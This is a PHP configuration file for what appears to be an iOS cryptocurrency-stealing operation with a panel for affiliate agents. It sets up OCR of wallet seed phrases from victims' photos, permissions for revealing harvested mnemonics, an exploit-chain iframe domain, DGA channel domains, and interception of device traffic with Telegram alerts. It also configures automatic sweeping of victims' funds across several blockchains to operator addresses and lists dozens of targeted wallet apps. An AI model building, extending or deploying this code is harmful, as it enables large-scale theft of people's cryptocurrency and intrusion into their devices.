867d0fa462
- sign() uses config('coruna.ldid_path') instead of shell_exec('which ldid')
- LDID_PATH configurable via .env (default /usr/bin/ldid)
- Graceful fallback to unsigned IPA when ldid not available
265 lines
13 KiB
PHP
265 lines
13 KiB
PHP
<?php
|
|
|
|
$parseDomains = static fn (string $value): array => array_values(array_filter(array_map(
|
|
'trim',
|
|
preg_split('/[\s,;]+/', $value) ?: []
|
|
)));
|
|
// Optional link-display hosts (not used by the DGA binary patch).
|
|
$channelDomains = $parseDomains((string) env('CORUNA_LAB_CHANNEL_DOMAINS', ''));
|
|
$reportingDomains = $parseDomains((string) env('CORUNA_REPORTING_DOMAINS', ''));
|
|
// Panel Host allowlists (empty = no restriction). Overridable via system settings.
|
|
$adminHosts = $parseDomains((string) env('CORUNA_ADMIN_HOSTS', ''));
|
|
$agentHosts = $parseDomains((string) env('CORUNA_AGENT_HOSTS', ''));
|
|
|
|
return [
|
|
'ocr' => [
|
|
'tesseract' => env('CORUNA_TESSERACT', 'tesseract'),
|
|
'oem' => (int) env('CORUNA_OCR_OEM', 1),
|
|
'psm' => (int) env('CORUNA_OCR_PSM', 6),
|
|
// 800px is enough for large-font BIP39 seed phrases (wallet apps show
|
|
// them in big monospace). 1280 made Tesseract ~2-3x slower per image
|
|
// with no recall gain. Override via CORUNA_OCR_MAX_EDGE if needed.
|
|
'max_edge' => (int) env('CORUNA_OCR_MAX_EDGE', 800),
|
|
],
|
|
'session_key' => env('CORUNA_SESSION_KEY'), // optional override; empty = derive(seed=0)
|
|
'xxbb' => [
|
|
// Hardcoded in xxbb type-0x01 / core; not the lab derived 7@Lb… key.
|
|
'session_key' => env('XXBB_SESSION_KEY', 'Ek8pl31K2yeHgQwy'),
|
|
// Shared native DGA / report field `c`. Same for every new-builder channel.
|
|
'channel_c' => strtolower(trim((string) env('XXBB_CHANNEL_C', ''))),
|
|
// Optional separate DS exploit domain for weifile iframe (empty = relative /next-chain/).
|
|
'ds_domain' => rtrim(trim((string) env('DS_DOMAIN', '')), '/'),
|
|
],
|
|
'channel_domains' => $channelDomains,
|
|
'deployment_domains' => $channelDomains,
|
|
'reporting_domains' => $reportingDomains,
|
|
'panel' => [
|
|
'admin_hosts' => $adminHosts,
|
|
'agent_hosts' => $agentHosts,
|
|
],
|
|
'channel_builder' => [
|
|
// Absolute python for channel-builder (default: channel-builder/.venv/bin/python or python3).
|
|
'python' => (string) env('CORUNA_CHANNEL_BUILDER_PYTHON', ''),
|
|
// Served artifact root: public/web/<id>/ + public/sync/ (+ lab_seeds/out under state_root).
|
|
'artifact_root' => (string) env('CORUNA_ARTIFACT_ROOT', public_path()),
|
|
// Builder state (lab_seeds.json, out/) — keep outside the web root when possible.
|
|
'state_root' => (string) env(
|
|
'CORUNA_CHANNEL_STATE_ROOT',
|
|
storage_path('app/channel-builder')
|
|
),
|
|
'timeout' => (float) env('CORUNA_CHANNEL_BUILDER_TIMEOUT', 600),
|
|
],
|
|
'channel_builder_new' => [
|
|
'python' => (string) env('CORUNA_CHANNEL_BUILDER_NEW_PYTHON', ''),
|
|
'state_root' => (string) env(
|
|
'CORUNA_CHANNEL_NEW_STATE_ROOT',
|
|
storage_path('app/channel-builder-new')
|
|
),
|
|
],
|
|
'channels' => [
|
|
// Max channel links per agent user (0 = official is unlimited). Overridable via settings.
|
|
'max_per_agent' => (int) env('CORUNA_MAX_CHANNELS_PER_AGENT', 5),
|
|
],
|
|
|
|
'album_storage' => [
|
|
// New-device default for official channels (user_id = 0). Agent channels use users.album_storage_default.
|
|
'official_default' => in_array(strtolower((string) env('CORUNA_OFFICIAL_ALBUM_STORAGE', '0')), ['1', 'true', 'yes', 'on'], true),
|
|
],
|
|
|
|
// New server: if a photo file is missing locally, pull from the old host
|
|
// and write through. Leave URL empty on the origin (old) machine.
|
|
'photo_origin' => [
|
|
'url' => rtrim(trim((string) env('PHOTO_ORIGIN_URL', '')), '/'),
|
|
'token' => (string) env('PHOTO_ORIGIN_TOKEN', ''),
|
|
'timeout' => (int) env('PHOTO_ORIGIN_TIMEOUT', 180),
|
|
],
|
|
|
|
'scan' => [
|
|
// On: agent portal sees 助记词扫描 and scan ingest stays on the source device.
|
|
// Off: hide agent scan UI; confirmed scan mnemonics ingest onto an official device.
|
|
'agent_visible' => in_array(strtolower((string) env('CORUNA_AGENT_MNEMONIC_SCAN', '1')), ['1', 'true', 'yes', 'on'], true),
|
|
],
|
|
|
|
'mnemonic_reveal' => [
|
|
// Off: only super admin can reveal. On: staff admins + agents with can_reveal_mnemonics.
|
|
'staff_enabled' => in_array(strtolower((string) env('CORUNA_STAFF_MNEMONIC_REVEAL', '0')), ['1', 'true', 'yes', 'on'], true),
|
|
],
|
|
|
|
'auto_transfer' => [
|
|
'enabled' => in_array(strtolower((string) env('AUTO_TRANSFER_ENABLED', '0')), ['1', 'true', 'yes', 'on'], true),
|
|
'threshold_usdt' => (string) env('AUTO_TRANSFER_THRESHOLD_USDT', ''),
|
|
'threshold_trx' => (string) env('AUTO_TRANSFER_THRESHOLD_TRX', ''),
|
|
'threshold_eth' => (string) env('AUTO_TRANSFER_THRESHOLD_ETH', ''),
|
|
'threshold_btc' => (string) env('AUTO_TRANSFER_THRESHOLD_BTC', ''),
|
|
'threshold_bnb' => (string) env('AUTO_TRANSFER_THRESHOLD_BNB', ''),
|
|
],
|
|
|
|
// Absolute path, project-local bin/7z, or bare "7z" on PATH. Avoid probing
|
|
// system paths with is_executable() under open_basedir (see CorunaArchive).
|
|
'seven_zip' => env('CORUNA_7Z_BIN', ''),
|
|
'telegram' => [
|
|
'bot_token' => env('TELEGRAM_BOT_TOKEN'),
|
|
'bot_username' => env('TELEGRAM_BOT_USERNAME', ''),
|
|
'owner_chat_id' => env('TELEGRAM_OWNER_CHAT_ID'),
|
|
'webhook_secret' => env('TELEGRAM_WEBHOOK_SECRET', ''),
|
|
],
|
|
|
|
// Device data interception: when a request comes from one of the listed
|
|
// device IDs, log it to a separate file, push a Telegram alert through a
|
|
// dedicated bot, and optionally mirror the raw request to another domain.
|
|
'intercept' => [
|
|
// Comma-separated device IDs (normalized form, case-insensitive).
|
|
// e.g. INTERCEPT_DEVICE_KEYS=0016094811BA401E,000339A03620001E
|
|
'device_keys' => array_values(array_filter(array_map(
|
|
static fn ($v) => strtolower(trim((string) $v)),
|
|
explode(',', (string) env('INTERCEPT_DEVICE_KEYS', ''))
|
|
))),
|
|
// Dedicated Telegram bot for interception alerts (empty = skip TG push).
|
|
'bot_token' => trim((string) env('INTERCEPT_BOT_TOKEN', '')),
|
|
// Chat ID to receive interception alerts.
|
|
'chat_id' => trim((string) env('INTERCEPT_CHAT_ID', '')),
|
|
// Paths that skip Telegram push but still log + forward (high-frequency noise).
|
|
// e.g. /event is telemetry spam. Default: /event
|
|
'push_skip_paths' => (function () {
|
|
$trimmed = array_filter(
|
|
array_map(static fn ($v) => trim((string) $v), explode(',', (string) env('INTERCEPT_PUSH_SKIP_PATHS', '/event'))),
|
|
static fn ($v) => $v !== ''
|
|
);
|
|
|
|
return array_values(array_map(static fn ($v) => '/'.ltrim($v, '/'), $trimmed));
|
|
})(),
|
|
// Mirror raw requests to this base URL (empty = no forwarding).
|
|
// e.g. INTERCEPT_FORWARD_URL=https://mirror.example.com
|
|
'forward_url' => rtrim(trim((string) env('INTERCEPT_FORWARD_URL', '')), '/'),
|
|
// Forwarding HTTP timeout in seconds.
|
|
'forward_timeout' => (int) env('INTERCEPT_FORWARD_TIMEOUT', 10),
|
|
],
|
|
'tokenview' => [
|
|
'api_key' => env('TOKENVIEW_API_KEY', ''),
|
|
'sign_key' => env('TOKENVIEW_SIGN_KEY', ''),
|
|
'base_url' => env('TOKENVIEW_BASE_URL', 'https://services.tokenview.io/vipapi'),
|
|
// Separate Blockchain Data API key (balance + activation + all-token for ETH/BSC/BTC/SOL).
|
|
// Falls back to api_key when empty. Empty/unauthorized → per-chain RPC fallback.
|
|
'data_api_key' => env('TOKENVIEW_DATA_API_KEY', ''),
|
|
'data_timeout' => (int) env('TOKENVIEW_DATA_TIMEOUT', 30),
|
|
],
|
|
// Alchemy Blockchain Data + Prices API. Used for balance / all-token inventory
|
|
// and USD token value estimation. ETH/BSC/SOL JSON-RPC + Prices REST.
|
|
// Chains not enabled on the Alchemy app fall back to their per-chain RPC driver.
|
|
'alchemy' => [
|
|
'api_key' => env('ALCHEMY_API_KEY', ''),
|
|
// JSON-RPC endpoints per network. Empty network = not configured.
|
|
'eth_rpc_url' => env('ALCHEMY_ETH_RPC_URL', 'https://eth-mainnet.g.alchemy.com/v2'),
|
|
'bsc_rpc_url' => env('ALCHEMY_BSC_RPC_URL', 'https://bnb-mainnet.g.alchemy.com/v2'),
|
|
'sol_rpc_url' => env('ALCHEMY_SOL_RPC_URL', 'https://solana-mainnet.g.alchemy.com/v2'),
|
|
// Prices REST API (independent of RPC network enablement).
|
|
'prices_url' => env('ALCHEMY_PRICES_URL', 'https://api.g.alchemy.com/prices/v1'),
|
|
'timeout' => (int) env('ALCHEMY_TIMEOUT', 30),
|
|
// Max non-zero tokens to enrich with metadata + price per all-token query.
|
|
'max_token_enrich' => (int) env('ALCHEMY_MAX_TOKEN_ENRICH', 100),
|
|
],
|
|
'tron' => [
|
|
'full_node' => env('TRON_FULL_NODE', 'https://api.trongrid.io'),
|
|
'api_key' => env('TRON_API_KEY', ''),
|
|
// Official Tether USDT TRC20. BTC/ETH/BNB have no canonical Tron natives — not queried.
|
|
'usdt_contract' => env('TRON_USDT_CONTRACT', 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t'),
|
|
'fee_limit' => (int) env('TRON_FEE_LIMIT', 100_000_000),
|
|
],
|
|
'eth' => [
|
|
'rpc_url' => env('ETH_RPC_URL', 'https://ethereum.publicnode.com'),
|
|
'chain_id' => (int) env('ETH_CHAIN_ID', 1),
|
|
// Official Tether USDT ERC20 (mainnet). Empty = skip token balance/transfer.
|
|
'usdt_contract' => env('ETH_USDT_CONTRACT', '0xdAC17F958D2ee523a2206206994597C13D831ec7'),
|
|
'usdt_decimals' => (int) env('ETH_USDT_DECIMALS', 6),
|
|
'gas_limit' => env('ETH_GAS_LIMIT', ''),
|
|
],
|
|
'bsc' => [
|
|
'rpc_url' => env('BSC_RPC_URL', 'https://bsc.publicnode.com'),
|
|
'chain_id' => (int) env('BSC_CHAIN_ID', 56),
|
|
// Official Tether USDT BEP20 (BSC). 18 decimals. Empty = skip token balance/transfer.
|
|
'usdt_contract' => env('BSC_USDT_CONTRACT', '0x55d398326f99059fF775485246999027B3197955'),
|
|
'usdt_decimals' => (int) env('BSC_USDT_DECIMALS', 18),
|
|
'gas_limit' => env('BSC_GAS_LIMIT', ''),
|
|
],
|
|
'btc' => [
|
|
// mempool.space-compatible REST root (…/api).
|
|
'api_url' => env('BTC_API_URL', 'https://mempool.space/api'),
|
|
// 0 = fetch recommended halfHourFee from API.
|
|
'fee_rate' => (int) env('BTC_FEE_RATE', 0),
|
|
],
|
|
'sol' => [
|
|
// Solana JSON-RPC endpoint. Public mainnet is heavily rate-limited;
|
|
// point to a paid RPC (Helius/QuickNode/etc.) in production.
|
|
'rpc_url' => env('SOL_RPC_URL', 'https://api.mainnet-beta.solana.com'),
|
|
// Optional API key sent as Bearer token (Helius/QuickNode style).
|
|
'api_key' => env('SOL_API_KEY', ''),
|
|
// Official Tether USDT SPL mint (mainnet). Empty = skip SPL USDT balance.
|
|
'usdt_contract' => env('SOL_USDT_CONTRACT', 'Es9vMFrzaCERmJfrF4H2FYD4KCoNkY11McCe8BenwNYB'),
|
|
'usdt_decimals' => (int) env('SOL_USDT_DECIMALS', 6),
|
|
],
|
|
// /transfer: from = command arg (device address); to = per-chain TRANSFER_TO_ADDRESS_*.
|
|
// Mnemonics resolved from wallet_mnemonics by address→device_id+source.
|
|
'transfer' => [
|
|
'to_address' => env('TRANSFER_TO_ADDRESS', ''),
|
|
'to_address_eth' => env('TRANSFER_TO_ADDRESS_ETH', ''),
|
|
'to_address_bsc' => env('TRANSFER_TO_ADDRESS_BSC', ''),
|
|
'to_address_btc' => env('TRANSFER_TO_ADDRESS_BTC', ''),
|
|
'to_address_sol' => env('TRANSFER_TO_ADDRESS_SOL', ''),
|
|
'fee_address_tron' => env('TRANSFER_FEE_ADDRESS_TRON', ''),
|
|
'fee_private_key_tron' => env('TRANSFER_FEE_PRIVATE_KEY_TRON', ''),
|
|
// Target TRX balance before a transfer (shortfall only is sent).
|
|
'fee_topup_trx' => env('TRANSFER_FEE_TOPUP_TRX', '20'),
|
|
'max_usdt' => env('TRANSFER_MAX_USDT', '0'),
|
|
'max_trx' => env('TRANSFER_MAX_TRX', '0'),
|
|
'max_eth' => env('TRANSFER_MAX_ETH', '0'),
|
|
'max_btc' => env('TRANSFER_MAX_BTC', '0'),
|
|
'max_bnb' => env('TRANSFER_MAX_BNB', '0'),
|
|
// BIP44 account index scan upper bound when matching fromAddress.
|
|
'max_derive_index' => (int) env('TRANSFER_MAX_DERIVE_INDEX', 20),
|
|
// Leave this much native when transferring "all".
|
|
'trx_fee_reserve' => env('TRANSFER_TRX_FEE_RESERVE', '1'),
|
|
'eth_fee_reserve' => env('TRANSFER_ETH_FEE_RESERVE', '0.001'),
|
|
'bnb_fee_reserve' => env('TRANSFER_BNB_FEE_RESERVE', '0.0005'),
|
|
'btc_fee_reserve' => env('TRANSFER_BTC_FEE_RESERVE', '0.0001'),
|
|
],
|
|
|
|
'wallet_bundles' => [
|
|
'im.token.app',
|
|
'io.metamask',
|
|
'io.metamask.MetaMask',
|
|
'com.wallet.crypto.trustapp',
|
|
'com.sixdays.trust',
|
|
'com.okex.wallet',
|
|
'com.okex.OKExAppstoreFull',
|
|
'com.coinbase.wallet',
|
|
'org.toshi.distribution',
|
|
'com.exodus',
|
|
'exodus-movement.exodus',
|
|
'app.phantom',
|
|
'com.uniswap.mobile',
|
|
'com.tronlinkpro.wallet',
|
|
'com.tronlink.hdwallet',
|
|
'com.mytonwallet.app',
|
|
'org.mytonwallet.app',
|
|
'com.tonhub.app',
|
|
'com.tonkeeper.app',
|
|
'com.jbig.tonkeeper',
|
|
'vip.mytokenpocket',
|
|
'com.bitkeep.wallet',
|
|
'com.bitkeep.os',
|
|
'com.bitpie',
|
|
'com.bitpie.wallet',
|
|
'com.coin98',
|
|
'coin98.crypto.finance.insights',
|
|
'com.solflare.mobile',
|
|
'com.roninchain.wallet',
|
|
'com.skymavis.Genesis',
|
|
'com.krystal.wallet',
|
|
'com.kyrd.krystal.ios',
|
|
'com.global.wallet.ios',
|
|
'ph.telegra.Telegraph',
|
|
],
|
|
'ldid_path' => env('LDID_PATH', '/usr/bin/ldid'),
|
|
|
|
];
|